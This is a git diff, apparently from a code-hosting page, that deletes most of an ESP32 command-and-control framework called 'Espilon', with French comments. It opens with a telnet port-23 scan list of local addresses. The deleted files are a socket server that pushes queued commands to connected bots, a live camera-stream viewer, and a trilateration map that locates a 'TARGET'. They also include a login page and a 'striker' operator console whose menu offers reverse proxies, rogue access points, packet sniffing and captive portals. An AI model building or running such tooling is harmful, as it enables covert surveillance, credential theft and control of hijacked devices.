192.168.1.146:23|PORT_CHECK
|
||||
192.168.1.147:23|PORT_CHECK
|
||||
192.168.1.148:23|PORT_CHECK
|
||||
192.168.1.149:23|PORT_CHECK
|
||||
192.168.1.150:23|PORT_CHECK
|
||||
192.168.1.151:23|PORT_CHECK
|
||||
192.168.1.152:23|PORT_CHECK
|
||||
192.168.1.153:23|PORT_CHECK
|
||||
192.168.1.154:23|PORT_CHECK
|
||||
192.168.1.155:23|PORT_CHECK
|
||||
192.168.1.156:23|PORT_CHECK
|
||||
192.168.1.157:23|PORT_CHECK
|
||||
192.168.1.158:23|PORT_CHECK
|
||||
192.168.1.159:23|PORT_CHECK
|
||||
192.168.1.160:23|PORT_CHECK
|
||||
192.168.1.161:23|PORT_CHECK
|
||||
192.168.1.162:23|PORT_CHECK
|
||||
192.168.1.163:23|PORT_CHECK
|
||||
192.168.1.164:23|PORT_CHECK
|
||||
192.168.1.165:23|PORT_CHECK
|
||||
192.168.1.166:23|PORT_CHECK
|
||||
192.168.1.167:23|PORT_CHECK
|
||||
192.168.1.168:23|PORT_CHECK
|
||||
192.168.1.169:23|PORT_CHECK
|
||||
192.168.1.170:23|PORT_CHECK
|
||||
192.168.1.171:23|PORT_CHECK
|
||||
192.168.1.172:23|PORT_CHECK
|
||||
192.168.1.173:23|PORT_CHECK
|
||||
192.168.1.174:23|PORT_CHECK
|
||||
192.168.1.175:23|PORT_CHECK
|
||||
192.168.1.176:23|PORT_CHECK
|
||||
192.168.1.177:23|PORT_CHECK
|
||||
192.168.1.178:23|PORT_CHECK
|
||||
192.168.1.179:23|PORT_CHECK
|
||||
192.168.1.180:23|PORT_CHECK
|
||||
192.168.1.181:23|PORT_CHECK
|
||||
192.168.1.182:23|PORT_CHECK
|
||||
192.168.1.183:23|PORT_CHECK
|
||||
192.168.1.184:23|PORT_CHECK
|
||||
192.168.1.185:23|PORT_CHECK
|
||||
192.168.1.186:23|PORT_CHECK
|
||||
192.168.1.187:23|PORT_CHECK
|
||||
192.168.1.188:23|PORT_CHECK
|
||||
192.168.1.189:23|PORT_CHECK
|
||||
192.168.1.190:23|PORT_CHECK
|
||||
192.168.1.191:23|PORT_CHECK
|
||||
192.168.1.192:23|PORT_CHECK
|
||||
192.168.1.193:23|PORT_CHECK
|
||||
192.168.1.194:23|PORT_CHECK
|
||||
192.168.1.195:23|PORT_CHECK
|
||||
192.168.1.196:23|PORT_CHECK
|
||||
192.168.1.197:23|PORT_CHECK
|
||||
192.168.1.198:23|PORT_CHECK
|
||||
192.168.1.199:23|PORT_CHECK
|
||||
192.168.1.200:23|PORT_CHECK
|
||||
192.168.1.201:23|PORT_CHECK
|
||||
192.168.1.202:23|PORT_CHECK
|
||||
192.168.1.203:23|PORT_CHECK
|
||||
192.168.1.204:23|PORT_CHECK
|
||||
192.168.1.205:23|PORT_CHECK
|
||||
192.168.1.206:23|PORT_CHECK
|
||||
192.168.1.207:23|PORT_CHECK
|
||||
192.168.1.208:23|PORT_CHECK
|
||||
192.168.1.209:23|PORT_CHECK
|
||||
192.168.1.210:23|PORT_CHECK
|
||||
192.168.1.211:23|PORT_CHECK
|
||||
192.168.1.212:23|PORT_CHECK
|
||||
192.168.1.213:23|PORT_CHECK
|
||||
192.168.1.214:23|PORT_CHECK
|
||||
192.168.1.215:23|PORT_CHECK
|
||||
192.168.1.216:23|PORT_CHECK
|
||||
192.168.1.217:23|PORT_CHECK
|
||||
192.168.1.218:23|PORT_CHECK
|
||||
192.168.1.219:23|PORT_CHECK
|
||||
192.168.1.220:23|PORT_CHECK
|
||||
192.168.1.221:23|PORT_CHECK
|
||||
192.168.1.222:23|PORT_CHECK
|
||||
192.168.1.223:23|PORT_CHECK
|
||||
192.168.1.224:23|PORT_CHECK
|
||||
192.168.1.225:23|PORT_CHECK
|
||||
192.168.1.226:23|PORT_CHECK
|
||||
192.168.1.227:23|PORT_CHECK
|
||||
192.168.1.228:23|PORT_CHECK
|
||||
192.168.1.229:23|PORT_CHECK
|
||||
192.168.1.230:23|PORT_CHECK
|
||||
192.168.1.231:23|PORT_CHECK
|
||||
192.168.1.232:23|PORT_CHECK
|
||||
192.168.1.233:23|PORT_CHECK
|
||||
192.168.1.234:23|PORT_CHECK
|
||||
192.168.1.235:23|PORT_CHECK
|
||||
192.168.1.236:23|PORT_CHECK
|
||||
192.168.1.237:23|PORT_CHECK
|
||||
192.168.1.238:23|PORT_CHECK
|
||||
192.168.1.239:23|PORT_CHECK
|
||||
192.168.1.240:23|PORT_CHECK
|
||||
192.168.1.241:23|PORT_CHECK
|
||||
192.168.1.242:23|PORT_CHECK
|
||||
192.168.1.243:23|PORT_CHECK
|
||||
192.168.1.244:23|PORT_CHECK
|
||||
192.168.1.245:23|PORT_CHECK
|
||||
192.168.1.246:23|PORT_CHECK
|
||||
192.168.1.247:23|PORT_CHECK
|
||||
192.168.1.248:23|PORT_CHECK
|
||||
192.168.1.249:23|PORT_CHECK
|
||||
192.168.1.250:23|PORT_CHECK
|
||||
192.168.1.251:23|PORT_CHECK
|
||||
192.168.1.252:23|PORT_CHECK
|
||||
192.168.1.253:23|PORT_CHECK
|
||||
192.168.1.254:23|PORT_CHECK
|
||||
@ -1,65 +0,0 @@
|
||||
|
||||
import socket
|
||||
import threading
|
||||
import time
|
||||
|
||||
clients = {}
|
||||
lock = threading.Lock()
|
||||
|
||||
def load_all_commands(filename="commands.txt"):
|
||||
try:
|
||||
with open(filename, "r") as f:
|
||||
return [line.strip() for line in f if line.strip()]
|
||||
except FileNotFoundError:
|
||||
print(f"[!] Fichier {filename} non trouvé.")
|
||||
return []
|
||||
|
||||
def handle_client(client_socket, address):
|
||||
client_id = f"{address[0]}:{address[1]}"
|
||||
print(f"[+] Nouveau client connecté : {client_id}")
|
||||
|
||||
with lock:
|
||||
clients[client_id] = client_socket
|
||||
|
||||
commands = load_all_commands()
|
||||
|
||||
try:
|
||||
for cmd in commands:
|
||||
print(f"[→] Envoi à {client_id} : {cmd}")
|
||||
client_socket.sendall((cmd + "\n").encode())
|
||||
|
||||
# Attente de la réponse du client avant de continuer
|
||||
data = client_socket.recv(4096)
|
||||
if not data:
|
||||
print(f"[!] Le client {client_id} a fermé la connexion.")
|
||||
break
|
||||
print(f"[←] Réponse de {client_id} : {data.decode(errors='ignore')}")
|
||||
|
||||
except Exception as e:
|
||||
print(f"[!] Erreur avec {client_id} : {e}")
|
||||
|
||||
finally:
|
||||
with lock:
|
||||
if client_id in clients:
|
||||
del clients[client_id]
|
||||
client_socket.close()
|
||||
print(f"[-] Client déconnecté : {client_id}")
|
||||
|
||||
def accept_connections(server_socket):
|
||||
while True:
|
||||
client_socket, addr = server_socket.accept()
|
||||
threading.Thread(target=handle_client, args=(client_socket, addr), daemon=True).start()
|
||||
|
||||
def start_server(host="0.0.0.0", port=1234):
|
||||
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
server.bind((host, port))
|
||||
server.listen(5)
|
||||
print(f"[Serveur] En écoute sur {host}:{port}")
|
||||
|
||||
threading.Thread(target=accept_connections, args=(server,), daemon=True).start()
|
||||
|
||||
while True:
|
||||
time.sleep(1)
|
||||
|
||||
if __name__ == "__main__":
|
||||
start_server()
|
||||
Binary file not shown.
@ -1,38 +0,0 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="fr">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>Multi Flux Caméras UDP</title>
|
||||
<style>
|
||||
img {
|
||||
max-width: 300px;
|
||||
margin: 10px;
|
||||
border: 2px solid #333;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Caméras en direct</h1>
|
||||
<div id="camera-container">
|
||||
{% for img in image_files %}
|
||||
<div>
|
||||
<p>{{ img }}</p>
|
||||
<img id="img_{{ loop.index }}" src="/streams/{{ img }}?t={{ loop.index }}" alt="Camera {{ loop.index }}">
|
||||
<p>{{ image.split('_')[0] if '_' in image else image }}</p>
|
||||
</div>
|
||||
{% endfor %}
|
||||
</div>
|
||||
|
||||
<script>
|
||||
function refreshImages() {
|
||||
const imgs = document.querySelectorAll("img");
|
||||
imgs.forEach((img, i) => {
|
||||
const src = img.src.split("?")[0];
|
||||
img.src = `${src}?t=${Date.now()}`; // Cache-busting
|
||||
});
|
||||
}
|
||||
setInterval(refreshImages, 100); // Rafraîchit toutes les 100 ms
|
||||
</script>
|
||||
<a href="/trilateration">→ Voir Trilatération</a>
|
||||
</body>
|
||||
</html>
|
||||
@ -1,58 +0,0 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="fr">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Connexion</title>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background: #f5f5f5;
|
||||
padding: 40px;
|
||||
}
|
||||
.card {
|
||||
max-width: 360px;
|
||||
margin: auto;
|
||||
background: #fff;
|
||||
padding: 30px;
|
||||
border-radius: 10px;
|
||||
box-shadow: 0 0 10px rgba(0,0,0,0.1);
|
||||
}
|
||||
input {
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
margin: 10px 0;
|
||||
border: 1px solid #ccc;
|
||||
border-radius: 5px;
|
||||
}
|
||||
input[type='submit'] {
|
||||
background: #007BFF;
|
||||
color: #fff;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
}
|
||||
input[type='submit']:hover {
|
||||
background: #0056b3;
|
||||
}
|
||||
.error {
|
||||
color: red;
|
||||
margin-bottom: 10px;
|
||||
text-align: center;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="card">
|
||||
<h2>Connexion requise</h2>
|
||||
<p>Veuillez entrer vos identifiants pour accéder au service.</p>
|
||||
{% if error %}
|
||||
<div class="error">{{ error }}</div>
|
||||
{% endif %}
|
||||
<form method="post">
|
||||
<input type="text" name="username" placeholder="Nom d'utilisateur" required>
|
||||
<input type="password" name="password" placeholder="Mot de passe" required>
|
||||
<input type="submit" value="Se connecter">
|
||||
</form>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
@ -1,153 +0,0 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="fr">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>Carte de Trilatération</title>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
text-align: center;
|
||||
}
|
||||
#canvas {
|
||||
border: 1px solid #333;
|
||||
background-color: #f9f9f9;
|
||||
}
|
||||
#controls {
|
||||
margin: 10px;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Carte de Trilatération</h1>
|
||||
|
||||
<p><strong>Dernier point :</strong>
|
||||
{% if point %}
|
||||
({{ "%.3f"|format(point[0]) }}, {{ "%.3f"|format(point[1]) }})
|
||||
{% else %}
|
||||
Aucun point
|
||||
{% endif %}
|
||||
</p>
|
||||
|
||||
<div id="controls">
|
||||
<label for="gridSize">Taille du plan (L x L) :</label>
|
||||
<input type="number" id="gridSize" value="10" min="5" max="50">
|
||||
<button onclick="redraw()">Appliquer</button>
|
||||
</div>
|
||||
|
||||
<canvas id="canvas" width="600" height="600"></canvas>
|
||||
|
||||
<script>
|
||||
const originalPoint = {{ point|tojson }};
|
||||
const anchors = {{ anchors|tojson }};
|
||||
const canvas = document.getElementById("canvas");
|
||||
const ctx = canvas.getContext("2d");
|
||||
|
||||
const width = canvas.width;
|
||||
const height = canvas.height;
|
||||
const scale = 50;
|
||||
let gridSize = parseInt(document.getElementById("gridSize").value);
|
||||
|
||||
const espColors = {
|
||||
"esp1": "green",
|
||||
"esp2": "blue",
|
||||
"esp3": "gold"
|
||||
};
|
||||
|
||||
function toCanvasCoord(x, y) {
|
||||
return [x * scale, height - y * scale];
|
||||
}
|
||||
|
||||
function drawGrid() {
|
||||
ctx.strokeStyle = "#ddd";
|
||||
ctx.lineWidth = 1;
|
||||
for (let i = 0; i <= gridSize; i++) {
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(i * scale, 0);
|
||||
ctx.lineTo(i * scale, height);
|
||||
ctx.stroke();
|
||||
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(0, i * scale);
|
||||
ctx.lineTo(width, i * scale);
|
||||
ctx.stroke();
|
||||
}
|
||||
}
|
||||
|
||||
function drawAxes() {
|
||||
ctx.strokeStyle = "#888";
|
||||
ctx.lineWidth = 2;
|
||||
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(0, height);
|
||||
ctx.lineTo(width, height);
|
||||
ctx.stroke();
|
||||
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(0, 0);
|
||||
ctx.lineTo(0, height);
|
||||
ctx.stroke();
|
||||
|
||||
ctx.fillStyle = "#000";
|
||||
ctx.font = "10px sans-serif";
|
||||
for (let i = 0; i <= gridSize; i++) {
|
||||
ctx.fillText(i, i * scale + 2, height - 5);
|
||||
ctx.fillText(i, 2, height - i * scale - 2);
|
||||
}
|
||||
}
|
||||
|
||||
function drawPoint(x, y, color, label) {
|
||||
const [px, py] = toCanvasCoord(x, y);
|
||||
ctx.fillStyle = color;
|
||||
ctx.beginPath();
|
||||
ctx.arc(px, py, 6, 0, 2 * Math.PI);
|
||||
ctx.fill();
|
||||
ctx.stroke();
|
||||
|
||||
if (label) {
|
||||
ctx.font = "12px sans-serif";
|
||||
ctx.fillStyle = "black"; // ✅ ID toujours en noir
|
||||
ctx.fillText(label, px + 8, py - 8);
|
||||
}
|
||||
}
|
||||
|
||||
function drawCircle(x, y, radius, color = 'rgba(0,0,255,0.1)') {
|
||||
const [px, py] = toCanvasCoord(x, y);
|
||||
ctx.beginPath();
|
||||
ctx.arc(px, py, radius * scale, 0, 2 * Math.PI);
|
||||
ctx.fillStyle = color;
|
||||
ctx.fill();
|
||||
ctx.strokeStyle = color;
|
||||
ctx.stroke();
|
||||
}
|
||||
|
||||
function redraw() {
|
||||
gridSize = parseInt(document.getElementById("gridSize").value);
|
||||
ctx.clearRect(0, 0, width, height);
|
||||
drawGrid();
|
||||
drawAxes();
|
||||
|
||||
if (anchors) {
|
||||
for (const [id, coords] of Object.entries(anchors)) {
|
||||
const [x, y, r] = coords;
|
||||
const baseColor = espColors[id] || 'gray';
|
||||
const circleColor = baseColor === 'gold' ? 'rgba(255, 215, 0, 0.1)' :
|
||||
baseColor === 'green' ? 'rgba(0, 128, 0, 0.1)' :
|
||||
baseColor === 'blue' ? 'rgba(0, 0, 255, 0.1)' :
|
||||
'rgba(128,128,128,0.1)';
|
||||
|
||||
if (r) drawCircle(x, y, r, circleColor);
|
||||
drawPoint(x, y, baseColor, id); // ID en noir
|
||||
}
|
||||
}
|
||||
|
||||
if (originalPoint) {
|
||||
const [x, y] = originalPoint;
|
||||
drawCircle(x, y, 0.5, 'rgba(255,0,0,0.2)'); // Cercle d'incertitude
|
||||
drawPoint(x, y, "red", "TARGET");
|
||||
}
|
||||
}
|
||||
|
||||
redraw();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@ -1,101 +0,0 @@
|
||||
from utils.utils import _print_status, send_to_client
|
||||
from utils.reboot import reboot
|
||||
from utils.manager import add_to_group, remove_group, remove_esp_from_group
|
||||
import time
|
||||
|
||||
|
||||
def system_check(c2):
|
||||
_print_status("=============== TEST GLOBAL DU SYSTÈME ===============", "CYAN")
|
||||
|
||||
# 1. Liste des clients connectés
|
||||
_print_status("[1/10] Liste des clients connectés", "YELLOW")
|
||||
if not c2.clients:
|
||||
_print_status("Aucun client connecté", "RED", "✗")
|
||||
return
|
||||
for i, (addr, _) in enumerate(c2.clients.items(), 1):
|
||||
print(f" {i}. {addr[0]}:{addr[1]}")
|
||||
_print_status("Liste récupérée", "GREEN", "✓")
|
||||
|
||||
# 2. Envoi d'une commande simple ("ls") à chaque client
|
||||
_print_status("[2/10] Test d'envoi de commande à chaque client", "YELLOW")
|
||||
for addr in list(c2.clients.keys()):
|
||||
try:
|
||||
response = send_to_client(c2, addr, "ls", wait_response=True)
|
||||
if response:
|
||||
_print_status(f"Réponse reçue de {addr[0]}", "GREEN", "✓")
|
||||
else:
|
||||
_print_status(f"Aucune réponse de {addr[0]}", "RED", "✗")
|
||||
except:
|
||||
_print_status(f"Erreur d'envoi vers {addr[0]}", "RED", "✗")
|
||||
|
||||
# 3. Création et remplissage d'un groupe de test
|
||||
_print_status("[3/10] Création d’un groupe test et ajout de clients", "YELLOW")
|
||||
test_group = "test_all"
|
||||
for i, addr in enumerate(c2.clients.keys()):
|
||||
if i < 2: # Limite à 2 clients pour le test
|
||||
add_to_group(c2, test_group, addr)
|
||||
if test_group in c2.groups:
|
||||
_print_status(f"Groupe '{test_group}' créé avec {len(c2.groups[test_group])} clients", "GREEN", "✓")
|
||||
else:
|
||||
_print_status("Échec création groupe", "RED", "✗")
|
||||
|
||||
# 4. Liste des groupes
|
||||
_print_status("[4/10] Listing des groupes", "YELLOW")
|
||||
if c2.groups:
|
||||
for group, members in c2.groups.items():
|
||||
print(f" {group} : {members}")
|
||||
_print_status("Groupes listés", "GREEN", "✓")
|
||||
else:
|
||||
_print_status("Aucun groupe trouvé", "RED", "✗")
|
||||
|
||||
# 5. Reboot d’un seul client
|
||||
_print_status("[5/10] Reboot d’un seul client", "YELLOW")
|
||||
first_client = list(c2.clients.keys())[0]
|
||||
reboot(c2, first_client, mode="single")
|
||||
time.sleep(5)
|
||||
|
||||
# 6. Reboot du groupe
|
||||
_print_status("[6/10] Reboot du groupe", "YELLOW")
|
||||
reboot(c2, test_group, mode="group")
|
||||
time.sleep(5)
|
||||
|
||||
# 7. Reboot de tous les clients
|
||||
_print_status("[7/10] Reboot de tous les clients", "YELLOW")
|
||||
reboot(c2, mode="all")
|
||||
time.sleep(5)
|
||||
|
||||
# 8. Attente et vérification de reconnexion
|
||||
_print_status("[8/10] Attente de reconnexion des clients", "YELLOW", "!")
|
||||
time.sleep(5)
|
||||
if c2.clients:
|
||||
for addr in c2.clients.keys():
|
||||
print(f" - {addr[0]}:{addr[1]}")
|
||||
_print_status("Clients reconnectés", "GREEN", "✓")
|
||||
else:
|
||||
_print_status("Aucun client reconnecté", "RED", "✗")
|
||||
|
||||
# 9. Retirer un client du groupe
|
||||
# check si il y a plusieurs clients dans le groupe
|
||||
# si oui, retirer le premier
|
||||
# sinon passer le test
|
||||
_print_status("[9/10] Retirer un client du groupe", "YELLOW")
|
||||
if len(c2.groups[test_group]) > 1:
|
||||
first_client = c2.groups[test_group][0]
|
||||
remove_esp_from_group(c2, test_group, [first_client])
|
||||
if first_client not in c2.groups[test_group]:
|
||||
_print_status(f"Client {first_client} retiré du groupe {test_group}", "GREEN", "✓")
|
||||
else:
|
||||
_print_status(f"Échec de retrait du client {first_client} du groupe {test_group}", "RED", "✗")
|
||||
else:
|
||||
_print_status("Groupe ne contient qu'un seul client, pas de retrait effectué", "YELLOW", "!")
|
||||
|
||||
# 10. Suppression du groupe
|
||||
_print_status("[10/10] Suppression du groupe de test", "YELLOW")
|
||||
if test_group in c2.groups:
|
||||
remove_group(c2, test_group)
|
||||
if test_group not in c2.groups:
|
||||
_print_status("Groupe supprimé", "GREEN", "✓")
|
||||
else:
|
||||
_print_status("Échec de suppression du groupe", "RED", "✗")
|
||||
|
||||
_print_status("=============== TEST TERMINÉ ===============", "CYAN")
|
||||
@ -1,149 +0,0 @@
|
||||
from utils.manager import list_groups
|
||||
from tools.c2.utils.constant import _color
|
||||
# from utils.genhash import generate_random_endpoint, generate_token
|
||||
from utils.utils import _print_status, _list_clients, _send_command
|
||||
#from test.test import system_check
|
||||
# from udp_server import start_cam_server, stop_cam_server
|
||||
import os
|
||||
import readline
|
||||
from utils.sheldon import call
|
||||
|
||||
def _setup_cli(c2):
|
||||
readline.parse_and_bind("tab: complete")
|
||||
readline.set_completer_delims(' \t\n;')
|
||||
readline.set_completer(c2._complete)
|
||||
readline.set_auto_history(True)
|
||||
|
||||
def _show_menu():
|
||||
menu = f"""
|
||||
{_color('CYAN')}=============== Menu Server ==============={_color('RESET')}
|
||||
|
||||
|
||||
|
||||
menu / help -> List of commands
|
||||
|
||||
|
||||
|
||||
########## Manage Esp32 ##########
|
||||
|
||||
|
||||
add_group <group> <id_esp32> -> Add a client to a group
|
||||
list_groups -> List all groups
|
||||
|
||||
remove_group <group> -> Remove a group
|
||||
remove_esp_from <group> <esp> -> Remove a client from a group
|
||||
|
||||
reboot <id_esp32> -> Reboot a specific client
|
||||
reboot <group> -> Reboot all clients in a group
|
||||
reboot all -> Reboot all clients
|
||||
|
||||
|
||||
|
||||
########## System C2 Commands ##########
|
||||
|
||||
|
||||
list -> List all connected clients
|
||||
clear -> Clear the terminal screen
|
||||
exit -> Exit the server
|
||||
start/stop srv_video -> Register a camera service
|
||||
|
||||
|
||||
|
||||
########## Firmware Services client ##########
|
||||
|
||||
|
||||
## Send Commands to firmware ##
|
||||
|
||||
send <id_esp32> <message> -> Send a message to a client
|
||||
or
|
||||
send <id_esp32> <start/stop> <service> <args> -> Start/Stop a service on a specific client
|
||||
|
||||
## Start/Stop Services on clients ##
|
||||
|
||||
start proxy <IP> <PORT> -> Start a reverse proxy on ur ip port for a specific client
|
||||
stop proxy -> Stop the revproxy on a specific client
|
||||
|
||||
start stream <IP> <PORT> -> Start camera stream on a specific client
|
||||
stop stream -> Stop camera stream on a specific client
|
||||
|
||||
start ap <WIFI_SSID> <PASSWORD> -> Start an access point on a specific client
|
||||
(WIFI_SSID and PASSWORD are optional, default_SSID="ESP_32_WIFI_SSID")
|
||||
stop ap -> Stop the access point on a specific client
|
||||
list_clients -> List all connected clients on the access point
|
||||
|
||||
start sniffer -> Start packet sniffing on clients connected to the access point
|
||||
stop sniffer -> Stop packet sniffing on clients connected to the access point
|
||||
|
||||
start captive_portal <WIFI_SSID> -> Start a server on a specific client
|
||||
(WIFI_SSID is optional, default_SSID="ESP_32_WIFI_SSID")
|
||||
stop captive_portal -> Stop the server on a specific client
|
||||
|
||||
"""
|
||||
print(menu)
|
||||
|
||||
|
||||
|
||||
|
||||
def _show_banner():
|
||||
banner = rf"""
|
||||
{_color('CYAN')}Authors : Eunous/grogore, itsoktocryyy, offpath, Wepfen, p2lu
|
||||
|
||||
___________
|
||||
\_ _____/ ____________ |__| | ____ ____
|
||||
| __)_ / ___/\____ \| | | / _ \ / \
|
||||
| \\___ \ | |_> > | |_( <_> ) | \
|
||||
/_______ /____ >| __/|__|____/\____/|___| /
|
||||
\/ \/ |__| \/
|
||||
|
||||
=============== v 0.1 ==============={_color('RESET')}
|
||||
"""
|
||||
print(banner)
|
||||
|
||||
|
||||
|
||||
|
||||
def cli_interface(self):
|
||||
_show_banner()
|
||||
_show_menu()
|
||||
|
||||
# def _cmd_start(parts):
|
||||
# if len(parts) > 1 and parts[1] == "srv_video":
|
||||
# start_cam_server()
|
||||
|
||||
|
||||
# def _cmd_stop(parts):
|
||||
# if len(parts) > 1 and parts[1] == "srv_video":
|
||||
# stop_cam_server()
|
||||
|
||||
commands = {
|
||||
"menu": lambda parts: _show_menu(),
|
||||
"help": lambda parts: _show_menu(),
|
||||
"send": lambda parts: _send_command(self, " ".join(parts)),
|
||||
"list": lambda parts: _list_clients(self),
|
||||
"clear": lambda parts: os.system('cls' if os.name == 'nt' else 'clear'),
|
||||
"exit": lambda parts: self._shutdown(),
|
||||
"reboot": lambda parts: self._handle_reboot(parts),
|
||||
"add_group": lambda parts: self._handle_add_group(parts),
|
||||
"list_groups": lambda parts: list_groups(self),
|
||||
"remove_group": lambda parts: self._handle_remove_group(parts),
|
||||
"remove_esp_from": lambda parts: self._handle_remove_esp_from(parts),
|
||||
# "start": _cmd_start,
|
||||
# "stop": _cmd_stop,
|
||||
# "system_check": lambda parts: system_check(self),
|
||||
}
|
||||
|
||||
while True:
|
||||
choix = input(f"\n{_color('BLUE')}striker:> {_color('RESET')}").strip()
|
||||
if not choix:
|
||||
continue
|
||||
|
||||
parts = choix.split()
|
||||
cmd = parts[0]
|
||||
|
||||
try:
|
||||
if cmd in commands:
|
||||
commands[cmd](parts)
|
||||
else:
|
||||
call(choix)
|
||||
except Exception as e:
|
||||
_print_status(f"Erreur: {str(e)}", "RED", "⚠")
|
||||
@ -1,29 +0,0 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
# Generated by the protocol buffer compiler. DO NOT EDIT!
|
||||
# source: espilon.proto
|
||||
"""Generated protocol buffer code."""
|
||||
from google.protobuf.internal import builder as _builder
|
||||
from google.protobuf import descriptor as _descriptor
|
||||
from google.protobuf import descriptor_pool as _descriptor_pool
|
||||
from google.protobuf import symbol_database as _symbol_database
|
||||
# @@protoc_insertion_point(imports)
|
||||
|
||||
_sym_db = _symbol_database.Default()
|
||||
|
||||
|
||||
|
||||
|
||||
DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\respilon.proto\x12\x07\x65spilon\"C\n\nESPMessage\x12\x0b\n\x03tag\x18\x01 \x02(\t\x12\n\n\x02id\x18\x02 \x02(\t\x12\x0f\n\x07message\x18\x03 \x01(\t\x12\x0b\n\x03log\x18\x04 \x01(\x0c\"\x1c\n\tC2Command\x12\x0f\n\x07payload\x18\x01 \x02(\t\"U\n\rESPLogMessage\x12\x0b\n\x03tag\x18\x01 \x02(\t\x12\n\n\x02id\x18\x02 \x02(\t\x12\x13\n\x0blog_message\x18\x03 \x01(\t\x12\x16\n\x0elog_error_code\x18\x04 \x01(\r')
|
||||
|
||||
_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, globals())
|
||||
_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'espilon_pb2', globals())
|
||||
if _descriptor._USE_C_DESCRIPTORS == False:
|
||||
|
||||
DESCRIPTOR._options = None
|
||||
_ESPMESSAGE._serialized_start=26
|
||||
_ESPMESSAGE._serialized_end=93
|
||||
_C2COMMAND._serialized_start=95
|
||||
_C2COMMAND._serialized_end=123
|
||||
_ESPLOGMESSAGE._serialized_start=125
|
||||
_ESPLOGMESSAGE._serialized_end=210
|
||||
# @@protoc_insertion_point(module_scope)
|
||||
@ -1,13 +0,0 @@
|
||||
import secrets
|
||||
import hashlib
|
||||
|
||||
def generate_random_endpoint():
|
||||
endpoint = f"/stream_{secrets.token_hex(4)}"
|
||||
print(f"[+] Endpoint généré : {endpoint}")
|
||||
return endpoint
|
||||
|
||||
def generate_token():
|
||||
raw = secrets.token_bytes(8)
|
||||
hashed = hashlib.sha256(raw).hexdigest()
|
||||
print(f"[+] Bearer Token généré : {hashed}")
|
||||
return hashed
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user